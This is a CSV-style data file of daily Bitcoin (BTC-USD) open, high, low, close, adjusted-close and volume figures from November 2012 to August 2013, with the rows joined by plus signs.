+2012-11-12,10.869999885559082,11.180000305175781,10.770000457763672,11.010000228881836,11.010000228881836,431080,BTC-USD +2012-11-13,11.010000228881836,11.130000114440918,10.920000076293945,10.949999809265137,10.949999809265137,184368,BTC-USD +2012-11-14,10.949999809265137,11.050000190734863,10.819999694824219,10.949999809265137,10.949999809265137,268636,BTC-USD +2012-11-15,10.949999809265137,11.300000190734863,10.859999656677246,11.199999809265137,11.199999809265137,353356,BTC-USD +2012-11-16,11.199999809265137,11.800000190734863,11.170000076293945,11.75,11.75,669422,BTC-USD +2012-11-17,11.75,11.800000190734863,11.520000457763672,11.789999961853027,11.789999961853027,223039,BTC-USD +2012-11-18,11.789999961853027,11.829999923706055,11.619999885559082,11.649999618530273,11.649999618530273,181716,BTC-USD +2012-11-19,11.649999618530273,11.84000015258789,11.600000381469727,11.800000190734863,11.800000190734863,295260,BTC-USD +2012-11-20,11.800000190734863,11.800000190734863,11.569999694824219,11.729999542236328,11.729999542236328,318291,BTC-USD +2012-11-21,11.729999542236328,11.779999732971191,11.640000343322754,11.770000457763672,11.770000457763672,225308,BTC-USD +2012-11-22,11.770000457763672,12.430000305175781,11.670000076293945,12.420000076293945,12.420000076293945,703582,BTC-USD +2012-11-23,12.420000076293945,12.40999984741211,12.130000114440918,12.350000381469727,12.350000381469727,233370,BTC-USD +2012-11-24,12.350000381469727,12.479999542236328,12.25,12.40999984741211,12.40999984741211,242058,BTC-USD +2012-11-25,12.40999984741211,12.600000381469727,12.3100004196167,12.479999542236328,12.479999542236328,299989,BTC-USD +2012-11-26,12.479999542236328,12.649999618530273,11.890000343322754,12.25,12.25,443753,BTC-USD +2012-11-27,12.25,12.34000015258789,11.899999618530273,12.199999809265137,12.199999809265137,401692,BTC-USD +2012-11-28,12.199999809265137,12.40999984741211,12.100000381469727,12.350000381469727,12.350000381469727,376900,BTC-USD +2012-11-29,12.350000381469727,12.600000381469727,12.149999618530273,12.449999809265137,12.449999809265137,329552,BTC-USD +2012-11-30,12.449999809265137,12.649999618530273,12.420000076293945,12.569999694824219,12.569999694824219,305812,BTC-USD +2012-12-01,12.569999694824219,12.6899995803833,12.460000038146973,12.5600004196167,12.5600004196167,184860,BTC-USD +2012-12-02,12.5600004196167,12.680000305175781,12.430000305175781,12.5,12.5,176013,BTC-USD +2012-12-03,12.5,12.680000305175781,12.479999542236328,12.680000305175781,12.680000305175781,336294,BTC-USD +2012-12-04,12.680000305175781,13.5,12.619999885559082,13.40999984741211,13.40999984741211,823838,BTC-USD +2012-12-05,13.40999984741211,13.420000076293945,13.149999618530273,13.380000114440918,13.380000114440918,395716,BTC-USD +2012-12-06,13.380000114440918,13.6899995803833,12.899999618530273,13.300000190734863,13.300000190734863,623136,BTC-USD +2012-12-07,13.300000190734863,13.550000190734863,12.979999542236328,13.5,13.5,437726,BTC-USD +2012-12-08,13.5,13.550000190734863,13.350000381469727,13.420000076293945,13.420000076293945,177338,BTC-USD +2012-12-09,13.420000076293945,13.529999732971191,13.020000457763672,13.390000343322754,13.390000343322754,372655,BTC-USD +2012-12-10,13.390000343322754,13.550000190734863,13.270000457763672,13.430000305175781,13.430000305175781,331115,BTC-USD +2012-12-11,13.430000305175781,13.670000076293945,13.300000190734863,13.5600004196167,13.5600004196167,378671,BTC-USD +2012-12-12,13.5600004196167,13.800000190734863,13.300000190734863,13.699999809265137,13.699999809265137,512418,BTC-USD +2012-12-13,13.699999809265137,13.800000190734863,13.470000267028809,13.699999809265137,13.699999809265137,331480,BTC-USD +2012-12-14,13.699999809265137,13.899999618530273,13.0,13.600000381469727,13.600000381469727,951046,BTC-USD +2012-12-15,13.600000381469727,13.640000343322754,13.4399995803833,13.489999771118164,13.489999771118164,205671,BTC-USD +2012-12-16,13.489999771118164,13.670000076293945,13.130000114440918,13.300000190734863,13.300000190734863,570895,BTC-USD +2012-12-17,13.300000190734863,13.489999771118164,12.75,13.25,13.25,839092,BTC-USD +2012-12-18,13.25,13.399999618530273,13.109999656677246,13.300000190734863,13.300000190734863,307326,BTC-USD +2012-12-19,13.300000190734863,13.600000381469727,13.199999809265137,13.600000381469727,13.600000381469727,520163,BTC-USD +2012-12-20,13.600000381469727,13.720000267028809,13.329999923706055,13.520000457763672,13.520000457763672,446364,BTC-USD +2012-12-21,13.520000457763672,13.600000381469727,13.420000076293945,13.5,13.5,342557,BTC-USD +2012-12-22,13.5,13.59000015258789,13.319999694824219,13.369999885559082,13.369999885559082,198463,BTC-USD +2012-12-23,13.369999885559082,13.470000267028809,13.010000228881836,13.3100004196167,13.3100004196167,316965,BTC-USD +2012-12-24,13.3100004196167,13.449999809265137,13.210000038146973,13.380000114440918,13.380000114440918,223315,BTC-USD +2012-12-25,13.380000114440918,13.430000305175781,13.140000343322754,13.350000381469727,13.350000381469727,175265,BTC-USD +2012-12-26,13.350000381469727,13.470000267028809,13.199999809265137,13.470000267028809,13.470000267028809,211349,BTC-USD +2012-12-27,13.470000267028809,13.470000267028809,13.25,13.420000076293945,13.420000076293945,265311,BTC-USD +2012-12-28,13.420000076293945,13.649999618530273,13.34000015258789,13.420000076293945,13.420000076293945,320223,BTC-USD +2012-12-29,13.420000076293945,13.670000076293945,13.270000457763672,13.399999618530273,13.399999618530273,352722,BTC-USD +2012-12-30,13.399999618530273,13.59000015258789,13.350000381469727,13.449999809265137,13.449999809265137,158277,BTC-USD +2012-12-31,13.449999809265137,13.5600004196167,13.369999885559082,13.510000228881836,13.510000228881836,202798,BTC-USD +2013-01-01,13.510000228881836,13.5600004196167,13.15999984741211,13.300000190734863,13.300000190734863,378879,BTC-USD +2013-01-02,13.300000190734863,13.399999618530273,13.15999984741211,13.279999732971191,13.279999732971191,239156,BTC-USD +2013-01-03,13.279999732971191,13.460000038146973,13.25,13.399999618530273,13.399999618530273,240845,BTC-USD +2013-01-04,13.399999618530273,13.520000457763672,13.270000457763672,13.5,13.5,397884,BTC-USD +2013-01-05,13.5,13.550000190734863,13.3100004196167,13.4399995803833,13.4399995803833,286932,BTC-USD +2013-01-06,13.4399995803833,13.520000457763672,13.359999656677246,13.449999809265137,13.449999809265137,171497,BTC-USD +2013-01-07,13.449999809265137,13.59000015258789,13.399999618530273,13.59000015258789,13.59000015258789,344083,BTC-USD +2013-01-08,13.59000015258789,13.880000114440918,13.5,13.739999771118164,13.739999771118164,587223,BTC-USD +2013-01-09,13.739999771118164,13.859999656677246,13.619999885559082,13.770000457763672,13.770000457763672,393192,BTC-USD +2013-01-10,13.770000457763672,14.319999694824219,13.770000457763672,14.140000343322754,14.140000343322754,727790,BTC-USD +2013-01-11,14.140000343322754,14.350000381469727,13.90999984741211,14.140000343322754,14.140000343322754,570677,BTC-USD +2013-01-12,14.140000343322754,14.34000015258789,13.979999542236328,14.239999771118164,14.239999771118164,381546,BTC-USD +2013-01-13,14.239999771118164,14.3100004196167,13.949999809265137,14.119999885559082,14.119999885559082,540759,BTC-USD +2013-01-14,14.119999885559082,14.350000381469727,14.109999656677246,14.300000190734863,14.300000190734863,315016,BTC-USD +2013-01-15,14.300000190734863,14.479999542236328,13.989999771118164,14.25,14.25,732428,BTC-USD +2013-01-16,14.25,14.729999542236328,14.210000038146973,14.729999542236328,14.729999542236328,660929,BTC-USD +2013-01-17,14.729999542236328,15.699999809265137,14.630000114440918,15.5,15.5,993185,BTC-USD +2013-01-18,15.5,15.989999771118164,15.40999984741211,15.699999809265137,15.699999809265137,879655,BTC-USD +2013-01-19,15.699999809265137,15.770000457763672,15.25,15.619999885559082,15.619999885559082,534667,BTC-USD +2013-01-20,15.619999885559082,15.890000343322754,15.510000228881836,15.699999809265137,15.699999809265137,408455,BTC-USD +2013-01-21,15.699999809265137,16.979999542236328,15.630000114440918,16.799999237060547,16.799999237060547,1007686,BTC-USD +2013-01-22,16.799999237060547,17.59000015258789,16.649999618530273,17.260000228881836,17.260000228881836,1045898,BTC-USD +2013-01-23,17.260000228881836,17.59000015258789,16.799999237060547,17.5,17.5,851188,BTC-USD +2013-01-24,17.5,19.190000534057617,15.609999656677246,16.899999618530273,16.899999618530273,3053222,BTC-USD +2013-01-25,16.899999618530273,17.799999237060547,15.390000343322754,17.399999618530273,17.399999618530273,1345890,BTC-USD +2013-01-26,17.399999618530273,17.8799991607666,16.540000915527344,17.8799991607666,17.8799991607666,597064,BTC-USD +2013-01-27,17.8799991607666,18.0,17.209999084472656,17.81999969482422,17.81999969482422,419571,BTC-USD +2013-01-28,17.81999969482422,18.8799991607666,17.75,18.719999313354492,18.719999313354492,1057611,BTC-USD +2013-01-29,18.719999313354492,19.799999237060547,18.700000762939453,19.530000686645508,19.530000686645508,1650126,BTC-USD +2013-01-30,19.530000686645508,19.799999237060547,19.149999618530273,19.700000762939453,19.700000762939453,877863,BTC-USD +2013-01-31,19.700000762939453,21.43000030517578,19.510000228881836,20.40999984741211,20.40999984741211,2042238,BTC-USD +2013-02-01,20.40999984741211,21.1299991607666,20.299999237060547,20.5,20.5,1034619,BTC-USD +2013-02-02,20.5,20.5,18.0,19.6299991607666,19.6299991607666,1567325,BTC-USD +2013-02-03,19.6299991607666,20.899999618530273,19.420000076293945,20.59000015258789,20.59000015258789,693849,BTC-USD +2013-02-04,20.59000015258789,21.049999237060547,19.860000610351562,20.43000030517578,20.43000030517578,1066570,BTC-USD +2013-02-05,20.43000030517578,20.790000915527344,20.200000762939453,20.600000381469727,20.600000381469727,600949,BTC-USD +2013-02-06,20.600000381469727,21.329999923706055,20.600000381469727,21.18000030517578,21.18000030517578,1096396,BTC-USD +2013-02-07,21.18000030517578,22.219999313354492,20.770000457763672,22.149999618530273,22.149999618530273,1388465,BTC-USD +2013-02-08,22.149999618530273,22.770000457763672,22.0,22.65999984741211,22.65999984741211,1090678,BTC-USD +2013-02-09,22.65999984741211,23.989999771118164,22.579999923706055,23.649999618530273,23.649999618530273,886034,BTC-USD +2013-02-10,23.649999618530273,24.110000610351562,22.670000076293945,23.969999313354492,23.969999313354492,1321513,BTC-USD +2013-02-11,23.969999313354492,24.68000030517578,23.649999618530273,24.649999618530273,24.649999618530273,712458,BTC-USD +2013-02-12,24.649999618530273,25.829999923706055,24.299999237060547,25.170000076293945,25.170000076293945,1862561,BTC-USD +2013-02-13,25.170000076293945,26.299999237060547,24.190000534057617,24.200000762939453,24.200000762939453,2296830,BTC-USD +2013-02-14,24.200000762939453,27.600000381469727,21.719999313354492,27.219999313354492,27.219999313354492,3710262,BTC-USD +2013-02-15,27.219999313354492,27.510000228881836,26.100000381469727,27.100000381469727,27.100000381469727,1396017,BTC-USD +2013-02-16,27.100000381469727,27.5,26.809999465942383,27.219999313354492,27.219999313354492,511421,BTC-USD +2013-02-17,27.219999313354492,27.399999618530273,25.0,26.809999465942383,26.809999465942383,2033614,BTC-USD +2013-02-18,26.809999465942383,27.149999618530273,26.360000610351562,26.950000762939453,26.950000762939453,795866,BTC-USD +2013-02-19,26.950000762939453,29.649999618530273,26.799999237060547,29.420000076293945,29.420000076293945,2810076,BTC-USD +2013-02-20,29.420000076293945,29.8700008392334,28.989999771118164,29.649999618530273,29.649999618530273,1096641,BTC-USD +2013-02-21,29.649999618530273,29.979999542236328,29.309999465942383,29.75,29.75,1030860,BTC-USD +2013-02-22,29.75,31.299999237060547,29.670000076293945,30.25,30.25,2039411,BTC-USD +2013-02-23,30.25,30.690000534057617,28.0,29.799999237060547,29.799999237060547,2099763,BTC-USD +2013-02-24,29.799999237060547,30.399999618530273,29.200000762939453,29.889999389648438,29.889999389648438,722940,BTC-USD +2013-02-25,29.889999389648438,30.399999618530273,29.549999237060547,30.399999618530273,30.399999618530273,805270,BTC-USD +2013-02-26,30.399999618530273,31.700000762939453,30.1200008392334,31.100000381469727,31.100000381469727,1329295,BTC-USD +2013-02-27,31.100000381469727,31.649999618530273,30.790000915527344,30.899999618530273,30.899999618530273,951289,BTC-USD +2013-02-28,30.899999618530273,34.52000045776367,30.899999618530273,33.380001068115234,33.380001068115234,4136416,BTC-USD +2013-03-01,33.380001068115234,34.900001525878906,32.91999816894531,34.5,34.5,1362290,BTC-USD +2013-03-02,34.5,34.810001373291016,33.150001525878906,34.25,34.25,1241775,BTC-USD +2013-03-03,34.25,34.5,33.79999923706055,34.5,34.5,427480,BTC-USD +2013-03-04,34.5,36.70000076293945,34.189998626708984,36.150001525878906,36.150001525878906,1659027,BTC-USD +2013-03-05,36.150001525878906,40.650001525878906,36.150001525878906,40.33000183105469,40.33000183105469,3361374,BTC-USD +2013-03-06,40.33000183105469,49.099998474121094,40.13999938964844,41.02000045776367,41.02000045776367,5712472,BTC-USD +2013-03-07,41.02000045776367,45.5,33.29999923706055,42.0,42.0,6439707,BTC-USD +2013-03-08,42.0,44.5,41.02000045776367,44.18000030517578,44.18000030517578,2032649,BTC-USD +2013-03-09,44.18000030517578,46.9900016784668,43.40999984741211,46.849998474121094,46.849998474121094,2020839,BTC-USD +2013-03-10,46.849998474121094,47.95000076293945,45.470001220703125,46.0,46.0,1703124,BTC-USD +2013-03-11,46.0,48.470001220703125,45.540000915527344,48.400001525878906,48.400001525878906,1970814,BTC-USD +2013-03-12,48.400001525878906,48.400001525878906,36.650001525878906,44.290000915527344,44.290000915527344,8014901,BTC-USD +2013-03-13,44.290000915527344,47.29999923706055,43.75,46.91999816894531,46.91999816894531,2298258,BTC-USD +2013-03-14,46.91999816894531,47.9900016784668,46.04999923706055,47.16999816894531,47.16999816894531,1752628,BTC-USD +2013-03-15,47.16999816894531,47.45000076293945,46.400001525878906,46.95000076293945,46.95000076293945,954285,BTC-USD +2013-03-16,46.95000076293945,47.36000061035156,46.27000045776367,47.0,47.0,764861,BTC-USD +2013-03-17,47.0,47.7400016784668,46.79999923706055,47.400001525878906,47.400001525878906,660618,BTC-USD +2013-03-18,47.400001525878906,52.880001068115234,47.119998931884766,51.599998474121094,51.599998474121094,3199314,BTC-USD +2013-03-19,51.599998474121094,62.0,50.0,59.13999938964844,59.13999938964844,6187650,BTC-USD +2013-03-20,59.13999938964844,66.0,57.70000076293945,64.48999786376953,64.48999786376953,5776620,BTC-USD +2013-03-21,64.48999786376953,74.9000015258789,63.099998474121094,70.8499984741211,70.8499984741211,6514880,BTC-USD +2013-03-22,70.8499984741211,73.75,65.0,69.87000274658203,69.87000274658203,5171296,BTC-USD +2013-03-23,69.87000274658203,70.5,52.349998474121094,64.3499984741211,64.3499984741211,9429382,BTC-USD +2013-03-24,64.3499984741211,72.5,62.70000076293945,71.5,71.5,2896432,BTC-USD +2013-03-25,71.5,78.0,69.5199966430664,73.5999984741211,73.5999984741211,5921197,BTC-USD +2013-03-26,73.5999984741211,79.72000122070312,73.11000061035156,78.5,78.5,4377374,BTC-USD +2013-03-27,78.5,89.5,78.4000015258789,88.91999816894531,88.91999816894531,6129700,BTC-USD +2013-03-28,88.91999816894531,95.69999694824219,75.0,86.18000030517578,86.18000030517578,12261153,BTC-USD +2013-03-29,86.18000030517578,93.05999755859375,83.01000213623047,90.5,90.5,7384104,BTC-USD +2013-03-30,90.5,94.9800033569336,87.0,92.19000244140625,92.19000244140625,3420002,BTC-USD +2013-03-31,92.19000244140625,93.80000305175781,91.0,93.02999877929688,93.02999877929688,1959050,BTC-USD +2013-04-01,93.02999877929688,106.0,92.23999786376953,104.0,104.0,9060022,BTC-USD +2013-04-02,104.0,118.36000061035156,99.0,117.9800033569336,117.9800033569336,8747147,BTC-USD +2013-04-03,117.9800033569336,147.0,110.0,135.0,135.0,19533010,BTC-USD +2013-04-04,135.0,142.1199951171875,116.38999938964844,132.1199951171875,132.1199951171875,11624021,BTC-USD +2013-04-05,132.1199951171875,144.94000244140625,130.24000549316406,142.32000732421875,142.32000732421875,9549088,BTC-USD +2013-04-06,142.32000732421875,143.89999389648438,139.5399932861328,142.6300048828125,142.6300048828125,2599937,BTC-USD +2013-04-07,142.6300048828125,164.89999389648438,142.6300048828125,162.3000030517578,162.3000030517578,9402722,BTC-USD +2013-04-08,162.3000030517578,194.89999389648438,162.60000610351562,187.5,187.5,20732894,BTC-USD +2013-04-09,187.5,240.11000061035156,186.5,230.0,230.0,22723191,BTC-USD +2013-04-10,230.0,266.0,105.0,165.0,165.0,35118119,BTC-USD +2013-04-11,165.0,188.6999969482422,110.19999694824219,124.9000015258789,124.9000015258789,18867223,BTC-USD +2013-04-12,124.9000015258789,140.0,54.25,117.0,117.0,47619189,BTC-USD +2013-04-13,117.0,130.0,85.5,93.0,93.0,26277415,BTC-USD +2013-04-14,93.0,110.0,84.44000244140625,90.0,90.0,16197017,BTC-USD +2013-04-15,90.0,102.0,71.51000213623047,82.38999938964844,82.38999938964844,20607774,BTC-USD +2013-04-16,82.38999938964844,84.5,50.0099983215332,68.36000061035156,68.36000061035156,37401572,BTC-USD +2013-04-17,68.36000061035156,98.77999877929688,63.29999923706055,93.06999969482422,93.06999969482422,27937764,BTC-USD +2013-04-18,93.06999969482422,113.0,86.0,109.01000213623047,109.01000213623047,16845410,BTC-USD +2013-04-19,109.01000213623047,136.42999267578125,105.54000091552734,118.4800033569336,118.4800033569336,30713924,BTC-USD +2013-04-20,118.4800033569336,132.0,115.0,126.62000274658203,126.62000274658203,9222871,BTC-USD +2013-04-21,126.62000274658203,130.5,110.0,119.19999694824219,119.19999694824219,12044404,BTC-USD +2013-04-22,119.19999694824219,127.4000015258789,118.5,127.4000015258789,127.4000015258789,7289977,BTC-USD +2013-04-23,127.4000015258789,144.02000427246094,124.97000122070312,143.47999572753906,143.47999572753906,15637961,BTC-USD +2013-04-24,143.47999572753906,166.42999267578125,140.97000122070312,154.1999969482422,154.1999969482422,34351545,BTC-USD +2013-04-25,154.1999969482422,162.0,120.08999633789062,141.7100067138672,141.7100067138672,26847891,BTC-USD +2013-04-26,141.7100067138672,144.99000549316406,121.44999694824219,136.89999389648438,136.89999389648438,17061324,BTC-USD +2013-04-27,136.89999389648438,139.8800048828125,122.70999908447266,128.0,128.0,7855443,BTC-USD +2013-04-28,128.0,136.67999267578125,127.5,134.44000244140625,134.44000244140625,3665399,BTC-USD +2013-04-29,134.44000244140625,149.0800018310547,133.0,144.0,144.0,9987126,BTC-USD +2013-04-30,144.0,146.92999267578125,134.0,139.22999572753906,139.22999572753906,9124397,BTC-USD +2013-05-01,139.22999572753906,140.05999755859375,104.0,116.37999725341797,116.37999725341797,21790982,BTC-USD +2013-05-02,116.37999725341797,126.9000015258789,91.11000061035156,106.25,106.25,24937319,BTC-USD +2013-05-03,106.25,109.0,79.0,98.0999984741211,98.0999984741211,22502892,BTC-USD +2013-05-04,98.0999984741211,116.30000305175781,92.0,112.9000015258789,112.9000015258789,14147864,BTC-USD +2013-05-05,112.9000015258789,118.8499984741211,107.0,115.9800033569336,115.9800033569336,9557650,BTC-USD +2013-05-06,115.9800033569336,124.9000015258789,106.01000213623047,112.25,112.25,17607427,BTC-USD +2013-05-07,112.25,114.0,97.5199966430664,109.5999984741211,109.5999984741211,14904474,BTC-USD +2013-05-08,109.5999984741211,116.77999877929688,109.5,113.19999694824219,113.19999694824219,6996024,BTC-USD +2013-05-09,113.19999694824219,113.72000122070312,108.80000305175781,112.80000305175781,112.80000305175781,3010117,BTC-USD +2013-05-10,112.80000305175781,122.5,111.54000091552734,117.69999694824219,117.69999694824219,9145408,BTC-USD +2013-05-11,117.69999694824219,118.73999786376953,113.0,115.63999938964844,115.63999938964844,3240171,BTC-USD +2013-05-12,115.63999938964844,117.47000122070312,112.4000015258789,114.81999969482422,114.81999969482422,2361969,BTC-USD +2013-05-13,114.81999969482422,118.87999725341797,114.5,117.9800033569336,117.9800033569336,3063381,BTC-USD +2013-05-14,117.9800033569336,119.80000305175781,109.41999816894531,111.4000015258789,111.4000015258789,10082102,BTC-USD +2013-05-15,111.4000015258789,116.44000244140625,103.0199966430664,114.22000122070312,114.22000122070312,13006447,BTC-USD +2013-05-16,114.22000122070312,118.97000122070312,112.0999984741211,118.20999908447266,118.20999908447266,5222066,BTC-USD +2013-05-17,118.20999908447266,125.55999755859375,116.56999969482422,123.5,123.5,9608029,BTC-USD +2013-05-18,123.5,125.30999755859375,122.25,123.20999908447266,123.20999908447266,2804847,BTC-USD +2013-05-19,123.20999908447266,124.5,119.5,122.5,122.5,2507881,BTC-USD +2013-05-20,122.5,123.69000244140625,120.0999984741211,122.0199966430664,122.0199966430664,2118341,BTC-USD +2013-05-21,122.0199966430664,123.08000183105469,121.0999984741211,122.88999938964844,122.88999938964844,1637410,BTC-USD +2013-05-22,122.88999938964844,124.5,122.0,123.80000305175781,123.80000305175781,2252949,BTC-USD +2013-05-23,123.80000305175781,126.93000030517578,123.0,126.30000305175781,126.30000305175781,2772751,BTC-USD +2013-05-24,126.30000305175781,133.97999572753906,125.36000061035156,133.10000610351562,133.10000610351562,6333389,BTC-USD +2013-05-25,133.10000610351562,133.5,128.1999969482422,131.99000549316406,131.99000549316406,2203681,BTC-USD +2013-05-26,131.99000549316406,136.0,130.61000061035156,133.5,133.5,3130389,BTC-USD +2013-05-27,133.5,135.47000122070312,124.0,129.77000427246094,129.77000427246094,6056707,BTC-USD +2013-05-28,129.77000427246094,130.6300048828125,125.4000015258789,129.0,129.0,2918762,BTC-USD +2013-05-29,129.0,132.72000122070312,127.5999984741211,132.25,132.25,2509796,BTC-USD +2013-05-30,132.25,132.39999389648438,126.5,128.8000030517578,128.8000030517578,3195601,BTC-USD +2013-05-31,128.8000030517578,130.0,126.33000183105469,128.82000732421875,128.82000732421875,2124938,BTC-USD +2013-06-01,128.82000732421875,129.7899932861328,127.0999984741211,129.3000030517578,129.3000030517578,816323,BTC-USD +2013-06-02,129.3000030517578,130.10000610351562,115.0,122.5,122.5,12335011,BTC-USD +2013-06-03,122.5,122.77999877929688,115.11000061035156,120.73999786376953,120.73999786376953,3439235,BTC-USD +2013-06-04,120.73999786376953,123.98999786376953,118.79000091552734,121.4000015258789,121.4000015258789,2657125,BTC-USD +2013-06-05,121.4000015258789,123.5,119.5,121.9000015258789,121.9000015258789,2021380,BTC-USD +2013-06-06,121.9000015258789,123.30000305175781,117.0,118.97000122070312,118.97000122070312,2646311,BTC-USD +2013-06-07,118.97000122070312,119.12999725341797,106.1500015258789,111.0,111.0,7372031,BTC-USD +2013-06-08,111.0,113.19000244140625,107.0,107.88999938964844,107.88999938964844,1874098,BTC-USD +2013-06-09,107.88999938964844,108.98999786376953,88.0,100.44000244140625,100.44000244140625,14647793,BTC-USD +2013-06-10,100.44000244140625,110.62999725341797,95.0,106.3499984741211,106.3499984741211,6786321,BTC-USD +2013-06-11,106.3499984741211,109.5999984741211,103.2300033569336,109.0,109.0,1727992,BTC-USD +2013-06-12,109.0,112.25,106.0,108.77999877929688,108.77999877929688,1934487,BTC-USD +2013-06-13,108.77999877929688,110.30000305175781,100.30000305175781,103.94999694824219,103.94999694824219,3204375,BTC-USD +2013-06-14,103.94999694824219,104.69999694824219,97.0999984741211,100.0,100.0,3629511,BTC-USD +2013-06-15,100.0,103.69999694824219,97.5,99.80000305175781,99.80000305175781,2264105,BTC-USD +2013-06-16,99.80000305175781,101.75,98.9000015258789,99.9000015258789,99.9000015258789,865174,BTC-USD +2013-06-17,99.9000015258789,102.4000015258789,98.9000015258789,101.94999694824219,101.94999694824219,1534858,BTC-USD +2013-06-18,101.94999694824219,113.30000305175781,101.02999877929688,107.3499984741211,107.3499984741211,6510457,BTC-USD +2013-06-19,107.3499984741211,110.98999786376953,104.66000366210938,108.25,108.25,1895919,BTC-USD +2013-06-20,108.25,114.4800033569336,107.12000274658203,111.29000091552734,111.29000091552734,4795256,BTC-USD +2013-06-21,111.29000091552734,115.01000213623047,107.55999755859375,109.5,109.5,4241011,BTC-USD +2013-06-22,109.5,109.95999908447266,107.51000213623047,108.19999694824219,108.19999694824219,791157,BTC-USD +2013-06-23,108.19999694824219,109.0,106.19999694824219,107.9000015258789,107.9000015258789,1188748,BTC-USD +2013-06-24,107.9000015258789,108.33000183105469,100.76000213623047,102.08999633789062,102.08999633789062,2986235,BTC-USD +2013-06-25,102.08999633789062,109.9800033569336,100.0,103.33000183105469,103.33000183105469,9760027,BTC-USD +2013-06-26,103.33000183105469,105.48999786376953,101.83000183105469,104.0,104.0,1378467,BTC-USD +2013-06-27,104.0,104.0,100.05999755859375,101.73999786376953,101.73999786376953,1505488,BTC-USD +2013-06-28,101.73999786376953,101.79000091552734,92.25,94.66000366210938,94.66000366210938,4625623,BTC-USD +2013-06-29,94.66000366210938,100.44000244140625,93.0,95.0,95.0,2469705,BTC-USD +2013-06-30,95.0,98.12000274658203,93.8499984741211,97.51000213623047,97.51000213623047,831721,BTC-USD +2013-07-01,97.51000213623047,98.18000030517578,86.01000213623047,88.05000305175781,88.05000305175781,4854051,BTC-USD +2013-07-02,88.05000305175781,92.56999969482422,87.51000213623047,90.41000366210938,90.41000366210938,2501192,BTC-USD +2013-07-03,90.41000366210938,91.19999694824219,76.0,78.88999938964844,78.88999938964844,6126930,BTC-USD +2013-07-04,78.88999938964844,84.2699966430664,72.0,80.04000091552734,80.04000091552734,4976159,BTC-USD +2013-07-05,80.04000091552734,80.5999984741211,65.41999816894531,68.5,68.5,6478104,BTC-USD +2013-07-06,68.5,75.0,66.80999755859375,69.66000366210938,69.66000366210938,2885730,BTC-USD +2013-07-07,69.66000366210938,77.0,66.5999984741211,76.5,76.5,3040545,BTC-USD +2013-07-08,76.5,80.0,72.45999908447266,76.0,76.0,4542089,BTC-USD +2013-07-09,76.0,78.30000305175781,72.51000213623047,76.69999694824219,76.69999694824219,2462927,BTC-USD +2013-07-10,76.69999694824219,89.83999633789062,75.52999877929688,88.0,88.0,4950378,BTC-USD +2013-07-11,88.0,90.69999694824219,85.0,88.9800033569336,88.9800033569336,3115116,BTC-USD +2013-07-12,88.9800033569336,104.16999816894531,88.0,93.98999786376953,93.98999786376953,9793701,BTC-USD +2013-07-13,93.98999786376953,98.31999969482422,87.76000213623047,98.31999969482422,98.31999969482422,3206472,BTC-USD +2013-07-14,98.31999969482422,99.0,92.86000061035156,94.41999816894531,94.41999816894531,1183919,BTC-USD +2013-07-15,94.41999816894531,101.94000244140625,93.11000061035156,98.88999938964844,98.88999938964844,3407701,BTC-USD +2013-07-16,98.88999938964844,100.7300033569336,96.0,97.0999984741211,97.0999984741211,1626929,BTC-USD +2013-07-17,97.0999984741211,100.0,96.18000030517578,98.5,98.5,1702482,BTC-USD +2013-07-18,98.5,98.80000305175781,86.19999694824219,90.06999969482422,90.06999969482422,5415947,BTC-USD +2013-07-19,90.06999969482422,95.19999694824219,87.5999984741211,92.0,92.0,2547076,BTC-USD +2013-07-20,92.0,93.0999984741211,89.2699966430664,89.81999969482422,89.81999969482422,865043,BTC-USD +2013-07-21,89.81999969482422,92.0,88.0,92.0,92.0,785274,BTC-USD +2013-07-22,92.0,92.0,89.80000305175781,91.5999984741211,91.5999984741211,839143,BTC-USD +2013-07-23,91.5999984741211,97.12999725341797,91.5999984741211,95.55999755859375,95.55999755859375,2333940,BTC-USD +2013-07-24,95.55999755859375,95.98999786376953,92.30000305175781,95.08999633789062,95.08999633789062,1382398,BTC-USD +2013-07-25,95.08999633789062,97.4800033569336,93.56999969482422,96.94999694824219,96.94999694824219,2171816,BTC-USD +2013-07-26,96.94999694824219,97.4800033569336,96.0,96.0199966430664,96.0199966430664,1079418,BTC-USD +2013-07-27,96.0199966430664,97.0,93.0,94.4000015258789,94.4000015258789,1430771,BTC-USD +2013-07-28,94.4000015258789,100.58000183105469,94.0,98.77999877929688,98.77999877929688,4160191,BTC-USD +2013-07-29,98.77999877929688,102.8499984741211,98.44999694824219,101.4800033569336,101.4800033569336,2499727,BTC-USD +2013-07-30,101.4800033569336,107.98999786376953,100.47000122070312,107.95999908447266,107.95999908447266,2893318,BTC-USD +2013-07-31,107.95999908447266,111.6500015258789,103.55000305175781,106.20999908447266,106.20999908447266,4916334,BTC-USD +2013-08-01,106.20999908447266,108.0,103.0,104.0,104.0,1580804,BTC-USD +2013-08-02,104.0,108.0,101.20999908447266,104.5,104.5,2893759,BTC-USD +2013-08-03,104.5,105.88999938964844,102.0,104.94999694824219,104.94999694824219,923169,BTC-USD +2013-08-04,104.94999694824219,106.0,103.5,105.12000274658203,105.12000274658203,670427,BTC-USD +2013-08-05,105.12000274658203,107.7699966430664,105.0,106.72000122070312,106.72000122070312,1647464,BTC-USD +2013-08-06,106.72000122070312,107.5,105.11000061035156,106.55999755859375,106.55999755859375,1424757,BTC-USD +2013-08-07,106.55999755859375,106.95999908447266,105.22000122070312,105.98999786376953,105.98999786376953,819975,BTC-USD +2013-08-08,105.98999786376953,106.6500015258789,100.95999908447266,103.05000305175781,103.05000305175781,2481342,BTC-USD +2013-08-09,103.05000305175781,105.79000091552734,101.94000244140625,102.80000305175781,102.80000305175781,1238426,BTC-USD +2013-08-10,102.80000305175781,103.9000015258789,102.37999725341797,103.0,103.0,411941,BTC-USD +2013-08-11,103.0,105.19000244140625,102.69999694824219,105.0,105.0,853962,BTC-USD +2013-08-12,105.0,108.12000274658203,103.5,106.80999755859375,106.80999755859375,2131117,BTC-USD +2013-08-13,106.80999755859375,109.63999938964844,104.5,109.5999984741211,109.5999984741211,2014623,BTC-USD +2013-08-14,109.5999984741211,115.0,108.0,112.55999755859375,112.55999755859375,5689765,BTC-USD +2013-08-15,112.55999755859375,113.31999969482422,108.77999877929688,109.98999786376953,109.98999786376953,1759713,BTC-USD +2013-08-16,109.98999786376953,112.30000305175781,108.20999908447266,108.98999786376953,108.98999786376953,1484874,BTC-USD +2013-08-17,108.98999786376953,114.0,108.2300033569336,112.75,112.75,1430522,BTC-USD +2013-08-18,112.75,114.69000244140625,112.0,113.37999725341797,113.37999725341797,1093513,BTC-USD +2013-08-19,113.37999725341797,123.75,111.7699966430664,118.5,118.5,6273089,BTC-USD 